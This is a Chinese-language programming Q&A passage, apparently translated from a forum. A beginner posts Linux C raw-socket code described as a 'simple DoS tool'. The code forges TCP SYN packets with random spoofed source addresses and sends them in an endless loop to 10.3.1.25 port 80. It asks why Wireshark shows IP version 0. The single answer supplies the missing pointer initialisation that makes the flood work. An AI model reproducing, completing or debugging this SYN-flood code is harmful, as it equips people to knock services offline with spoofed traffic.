我是Linux C的新入门者并尝试制作一个关于制作IP数据包的程序,它就像一个简单的DoS工具。当我完成代码时,我捕获了数据包并使用Wireshark分析了数据包,IP版本为0
,标头长度也为0
。为什么会这样。
我没有添加校验和部分。
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <strings.h>
#include <fcntl.h>
#include <sys/types.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
int main(int argc, char **argv[])
{
char buffer[100];
struct sockaddr_in addr;
struct ip *ip;
struct tcphdr *tcp;
int head_len,sockfd, on = 1;
head_len = sizeof (struct ip) + sizeof (struct tcphdr);
bzero(buffer,100);
addr.sin_family = AF_INET;
addr.sin_port = htons(80);
addr.sin_addr.s_addr = inet_addr("10.3.1.25");
sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
setsockopt(sockfd,IPPROTO_IP, IP_HDRINCL, &on,sizeof(on));
ip->ip_v = IPVERSION;
ip->ip_hl = sizeof(struct ip)>>2;
ip->ip_tos = 0;
ip->ip_len = htons(head_len);
ip->ip_id = 0;
ip->ip_off = 0;
ip->ip_ttl = 255;
ip->ip_p = IPPROTO_TCP;
ip->ip_src.s_addr = random();
ip->ip_dst = addr.sin_addr;
tcp = (struct tcphdr *)(buffer + sizeof(struct ip));
tcp->source = htons(8888);
tcp->dest = addr.sin_port;
tcp->seq = random();
tcp->ack_seq = 0;
tcp->doff = 5;
tcp->syn = 1;
tcp->check = 0;
setuid(getpid());
sizeof(struct tcphdr());
printf("phase 3 ok\n");
while (1)
{
if(sendto (sockfd, buffer, head_len, 0, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) < 1)
printf("error");
}
}
答案 0 :(得分:0)
您忘了初始化ip
;我假设你不见了
ip = (struct ip*)buffer;